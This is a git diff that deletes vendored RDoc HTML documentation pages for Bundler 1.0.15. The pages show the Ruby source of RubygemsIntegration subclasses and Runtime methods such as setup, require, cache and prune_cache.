-194:         <span class="ruby-constant">Deprecate</span>.<span class="ruby-identifier">skip_during</span> <span class="ruby-keyword kw">do</span>
-195:           <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">spec_dirs</span> = *<span class="ruby-identifier">args</span>
-196:           <span class="ruby-identifier">add_specs</span>(*<span class="ruby-identifier">specs</span>)
-197:         <span class="ruby-keyword kw">end</span>
-198:       <span class="ruby-keyword kw">end</span>
-199:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="ui--method" class="method-detail ">
-				<a name="method-i-ui%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">ui=</span><span
-						class="method-args">(obj)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="ui--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 81</span>
-81:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">ui=</span>(<span class="ruby-identifier">obj</span>)
-82:       <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">DefaultUserInteraction</span>.<span class="ruby-identifier">ui</span> = <span class="ruby-identifier">obj</span>
-83:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="user-home-method" class="method-detail ">
-				<a name="method-i-user_home"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">user_home</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="user-home-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 56</span>
-56:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">user_home</span>
-57:       <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">user_home</span>
-58:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="with-build-args-method" class="method-detail ">
-				<a name="method-i-with_build_args"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">with_build_args</span><span
-						class="method-args">(args)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="with-build-args-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 89</span>
-89:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">with_build_args</span>(<span class="ruby-identifier">args</span>)
-90:       <span class="ruby-identifier">old_args</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Command</span>.<span class="ruby-identifier">build_args</span>
-91:       <span class="ruby-keyword kw">begin</span>
-92:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Command</span>.<span class="ruby-identifier">build_args</span> = <span class="ruby-identifier">args</span>
-93:         <span class="ruby-keyword kw">yield</span>
-94:       <span class="ruby-keyword kw">ensure</span>
-95:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Command</span>.<span class="ruby-identifier">build_args</span> = <span class="ruby-identifier">old_args</span>
-96:       <span class="ruby-keyword kw">end</span>
-97:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
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-				
-			</div>
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-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
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-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/AlmostModern.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/AlmostModern.html
deleted file mode 100644
index 51dc0397..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/AlmostModern.html
+++ /dev/null
@@ -1,388 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::RubygemsIntegration::AlmostModern</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
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-				<div class="section-body">
-					<ul>
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-							class="thickbox" title="lib/bundler/rubygems_integration.rb">lib/bundler/rubygems_integration.rb</a></li>
-					
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-				</div>
-			</div>
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-
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-
-			<!-- Parent Class -->
-			
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-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="Modern.html">Bundler::RubygemsIntegration::Modern</a></p>
-				
-			</div>
-			
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-			<!-- Namespace Contents -->
-			
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
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-	</div>
-
-	<div id="documentation">
-		<h1 class="class">Bundler::RubygemsIntegration::AlmostModern</h1>
-
-		<div id="description">
-			<p>
-Rubygems 1.8.0 to 1.8.4
-</p>
-
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
-
-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="preserve-paths-method" class="method-detail ">
-				<a name="method-i-preserve_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">preserve_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Rubygems [>= 1.8.0, < 1.8.5] has a bug that changes Gem.dir whenever you
-call Gem::Installer#install with an :install_dir set. We have to change it
-back for our sudo mode to work.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="preserve-paths-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 301</span>
-301:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">preserve_paths</span>
-302:         <span class="ruby-identifier">old_dir</span>, <span class="ruby-identifier">old_path</span> = <span class="ruby-identifier">gem_dir</span>, <span class="ruby-identifier">gem_path</span>
-303:         <span class="ruby-keyword kw">yield</span>
-304:         <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">use_paths</span>(<span class="ruby-identifier">old_dir</span>, <span class="ruby-identifier">old_path</span>)
-305:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Deprecate.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Deprecate.html
deleted file mode 100644
index 3771dc64..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Deprecate.html
+++ /dev/null
@@ -1,377 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::RubygemsIntegration::Deprecate</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
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-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/rubygems_integration_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/rubygems_integration.rb">lib/bundler/rubygems_integration.rb</a></li>
-					
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-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Object</p>
-				
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-	<div id="documentation">
-		<h1 class="class">Bundler::RubygemsIntegration::Legacy</h1>
-
-		<div id="description">
-			<p>
-Rubygems versions 1.3.6 through 1.6.2
-</p>
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-		<!-- Constants -->
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-
-				<div class="method-heading">
-				
-					<span class="method-name">all_specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-
-				<div class="method-description">
-					
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-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 259</span>
-259:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">all_specs</span>
-260:         <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">source_index</span>.<span class="ruby-identifier">gems</span>.<span class="ruby-identifier">values</span>
-261:       <span class="ruby-keyword kw">end</span></pre>
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-						class="method-args">(name)</span>
-					<span class="method-click-advice">click to toggle source</span>
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-
-				<div class="method-description">
-					
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-						id="find-name-source">
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-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 263</span>
-263:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">find_name</span>(<span class="ruby-identifier">name</span>)
-264:         <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">source_index</span>.<span class="ruby-identifier">find_name</span>(<span class="ruby-identifier">name</span>)
-265:       <span class="ruby-keyword kw">end</span></pre>
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-				
-					<span class="method-name">stub_rubygems</span><span
-						class="method-args">(specs)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-					
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 255</span>
-255:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">stub_rubygems</span>(<span class="ruby-identifier">specs</span>)
-256:         <span class="ruby-identifier">stub_source_index137</span>(<span class="ruby-identifier">specs</span>)
-257:       <span class="ruby-keyword kw">end</span></pre>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
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-			Rdoc Generator</a> 1.1.6</small>.</p>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Modern.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Modern.html
deleted file mode 100644
index 8cd8d7a8..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Modern.html
+++ /dev/null
@@ -1,460 +0,0 @@
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-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::RubygemsIntegration::Modern</title>
-
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-
-	<script src="../../js/jquery.js" type="text/javascript"
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-				<h3 class="section-header">Parent</h3>
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-				
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-			<!-- Namespace Contents -->
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-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
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-					<li><a href="#method-i-all_specs">#all_specs</a></li>
-					
-					<li><a href="#method-i-find_name">#find_name</a></li>
-					
-					<li><a href="#method-i-stub_rubygems">#stub_rubygems</a></li>
-					
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-287:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">all_specs</span>
-288:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">to_a</span>
-289:       <span class="ruby-keyword kw">end</span></pre>
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-291:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">find_name</span>(<span class="ruby-identifier">name</span>)
-292:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">find_all_by_name</span> <span class="ruby-identifier">name</span>
-293:       <span class="ruby-keyword kw">end</span></pre>
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-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 277</span>
-277:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">stub_rubygems</span>(<span class="ruby-identifier">specs</span>)
-278:         <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">all</span> = <span class="ruby-identifier">specs</span>
-279: 
-280:         <span class="ruby-constant">Gem</span>.<span class="ruby-identifier">post_reset</span> {
-281:           <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">all</span> = <span class="ruby-identifier">specs</span>
-282:         }
-283: 
-284:         <span class="ruby-identifier">stub_source_index170</span>(<span class="ruby-identifier">specs</span>)
-285:       <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Transitional.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/RubygemsIntegration/Transitional.html
deleted file mode 100644
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-Rubygems 1.7
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-						id="stub-rubygems-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/rubygems_integration.rb, line 270</span>
-270:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">stub_rubygems</span>(<span class="ruby-identifier">specs</span>)
-271:         <span class="ruby-identifier">stub_source_index170</span>(<span class="ruby-identifier">specs</span>)
-272:       <span class="ruby-keyword kw">end</span></pre>
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deleted file mode 100644
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-				<a name="method-i-cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-						id="cache-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 87</span>
-87:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>
-88:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">cache_path</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">cache_path</span>)
-89: 
-90:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;Updating .gem files in vendor/cache&quot;</span>
-91:       <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-92:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-value str">'bundler'</span>
-93:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">cache</span>(<span class="ruby-identifier">spec</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:cache</span>)
-94:       <span class="ruby-keyword kw">end</span>
-95:       <span class="ruby-identifier">prune_cache</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:no_prune</span>]
-96:     <span class="ruby-keyword kw">end</span></pre>
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-			</div>
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-			<div id="dependencies-for-method" class="method-detail ">
-				<a name="method-i-dependencies_for"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">dependencies_for</span><span
-						class="method-args">(*groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="dependencies-for-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 77</span>
-77:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">dependencies_for</span>(*<span class="ruby-identifier">groups</span>)
-78:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">empty?</span>
-79:         <span class="ruby-identifier">dependencies</span>
-80:       <span class="ruby-keyword kw">else</span>
-81:         <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">select</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> (<span class="ruby-identifier">groups</span> &amp; <span class="ruby-identifier">d</span>.<span class="ruby-identifier">groups</span>).<span class="ruby-identifier">any?</span> }
-82:       <span class="ruby-keyword kw">end</span>
-83:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<div id="prune-cache-method" class="method-detail ">
-				<a name="method-i-prune_cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">prune_cache</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
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-					<div class="method-source-code"
-						id="prune-cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 98</span>
- 98:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">prune_cache</span>
- 99:       <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">mkdir_p</span>(<span class="ruby-identifier">cache_path</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exists?</span>(<span class="ruby-identifier">cache_path</span>)
-100: 
-101:       <span class="ruby-identifier">resolve</span> = <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">resolve</span>
-102:       <span class="ruby-identifier">cached</span>  = <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{cache_path}/*.gem&quot;</span>]
-103: 
-104:       <span class="ruby-identifier">cached</span> = <span class="ruby-identifier">cached</span>.<span class="ruby-identifier">delete_if</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">path</span><span class="ruby-operator">|</span>
-105:         <span class="ruby-identifier">spec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">spec_from_gem</span> <span class="ruby-identifier">path</span>
-106: 
-107:         <span class="ruby-identifier">resolve</span>.<span class="ruby-identifier">any?</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-108:           <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Git</span>)
-109:         <span class="ruby-keyword kw">end</span>
-110:       <span class="ruby-keyword kw">end</span>
-111: 
-112:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">cached</span>.<span class="ruby-identifier">any?</span>
-113:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;Removing outdated .gem files from vendor/cache&quot;</span>
-114: 
-115:         <span class="ruby-identifier">cached</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">path</span><span class="ruby-operator">|</span>
-116:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;  * #{File.basename(path)}&quot;</span>
-117:           <span class="ruby-constant">File</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-identifier">path</span>)
-118:         <span class="ruby-keyword kw">end</span>
-119:       <span class="ruby-keyword kw">end</span>
-120:     <span class="ruby-keyword kw">end</span></pre>
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-
-		
-			<div id="require-method" class="method-detail ">
-				<a name="method-i-require"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">require</span><span
-						class="method-args">(*groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="require-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 51</span>
-51:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">require</span>(*<span class="ruby-identifier">groups</span>)
-52:       <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">map!</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">g</span><span class="ruby-operator">|</span> <span class="ruby-identifier">g</span>.<span class="ruby-identifier">to_sym</span> }
-53:       <span class="ruby-identifier">groups</span> = [<span class="ruby-value">:default</span>] <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">empty?</span>
-54: 
-55:       <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-56:         <span class="ruby-comment cmt"># Skip the dependency if it is not in any of the requested</span>
-57:         <span class="ruby-comment cmt"># groups</span>
-58:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">unless</span> ((<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">groups</span> &amp; <span class="ruby-identifier">groups</span>).<span class="ruby-identifier">any?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">current_platform?</span>)
-59: 
-60:         <span class="ruby-identifier">required_file</span> = <span class="ruby-keyword kw">nil</span>
-61: 
-62:         <span class="ruby-keyword kw">begin</span>
-63:           <span class="ruby-comment cmt"># Loop through all the specified autorequires for the</span>
-64:           <span class="ruby-comment cmt"># dependency. If there are none, use the dependency's name</span>
-65:           <span class="ruby-comment cmt"># as the autorequire.</span>
-66:           <span class="ruby-constant">Array</span>(<span class="ruby-identifier">dep</span>.<span class="ruby-identifier">autorequire</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
-67:             <span class="ruby-identifier">required_file</span> = <span class="ruby-identifier">file</span>
-68:             <span class="ruby-constant">Kernel</span>.<span class="ruby-identifier">require</span> <span class="ruby-identifier">file</span>
-69:           <span class="ruby-keyword kw">end</span>
-70:         <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">LoadError</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-71:           <span class="ruby-constant">REGEXPS</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">r</span><span class="ruby-operator">|</span> <span class="ruby-identifier">r</span> <span class="ruby-operator">=~</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">message</span> }
-72:           <span class="ruby-identifier">raise</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">autorequire</span> <span class="ruby-operator">||</span> <span class="ruby-node">$1</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">required_file</span>
-73:         <span class="ruby-keyword kw">end</span>
-74:       <span class="ruby-keyword kw">end</span>
-75:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-
-				
-
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-			</div>
-
-		
-			<div id="setup-method" class="method-detail ">
-				<a name="method-i-setup"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">setup</span><span
-						class="method-args">(*groups)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="setup-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/runtime.rb, line 7</span>
- 7:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">setup</span>(*<span class="ruby-identifier">groups</span>)
- 8:       <span class="ruby-comment cmt"># Has to happen first</span>
- 9:       <span class="ruby-identifier">clean_load_path</span>
-10: 
-11:       <span class="ruby-identifier">specs</span> = <span class="ruby-identifier">groups</span>.<span class="ruby-identifier">any?</span> <span class="ruby-operator">?</span> <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">specs_for</span>(<span class="ruby-identifier">groups</span>) <span class="ruby-operator">:</span> <span class="ruby-identifier">requested_specs</span>
-12: 
-13:       <span class="ruby-identifier">setup_environment</span>
-14:       <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">replace_entrypoints</span>(<span class="ruby-identifier">specs</span>)
-15: 
-16:       <span class="ruby-comment cmt"># Activate the specs</span>
-17:       <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-18:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">loaded_from</span>
-19:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">GemNotFound</span>, <span class="ruby-node">&quot;#{spec.full_name} is missing. Run `bundle` to get it.&quot;</span>
-20:         <span class="ruby-keyword kw">end</span>
-21: 
-22:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">activated_spec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">loaded_specs</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>) <span class="ruby-keyword kw">and</span> <span class="ruby-identifier">activated_spec</span>.<span class="ruby-identifier">version</span> <span class="ruby-operator">!=</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>
-23:           <span class="ruby-identifier">e</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">LoadError</span>.<span class="ruby-identifier">new</span> <span class="ruby-node">&quot;You have already activated #{activated_spec.name} #{activated_spec.version}, &quot;</span>                                   <span class="ruby-node">&quot;but your Gemfile requires #{spec.name} #{spec.version}. Consider using bundle exec.&quot;</span>
-24:           <span class="ruby-identifier">e</span>.<span class="ruby-identifier">name</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">name</span>
-25:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">e</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:requirement=</span>)
-26:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">requirement</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">to_s</span>)
-27:           <span class="ruby-keyword kw">else</span>
-28:             <span class="ruby-identifier">e</span>.<span class="ruby-identifier">version_requirement</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Requirement</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">version</span>.<span class="ruby-identifier">to_s</span>)
-29:           <span class="ruby-keyword kw">end</span>
-30:           <span class="ruby-identifier">raise</span> <span class="ruby-identifier">e</span>
-31:         <span class="ruby-keyword kw">end</span>
-32: 
-33:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">mark_loaded</span>(<span class="ruby-identifier">spec</span>)
-34:         <span class="ruby-identifier">load_paths</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">load_paths</span>.<span class="ruby-identifier">reject</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">path</span><span class="ruby-operator">|</span> <span class="ruby-identifier">$LOAD_PATH</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-identifier">path</span>)}
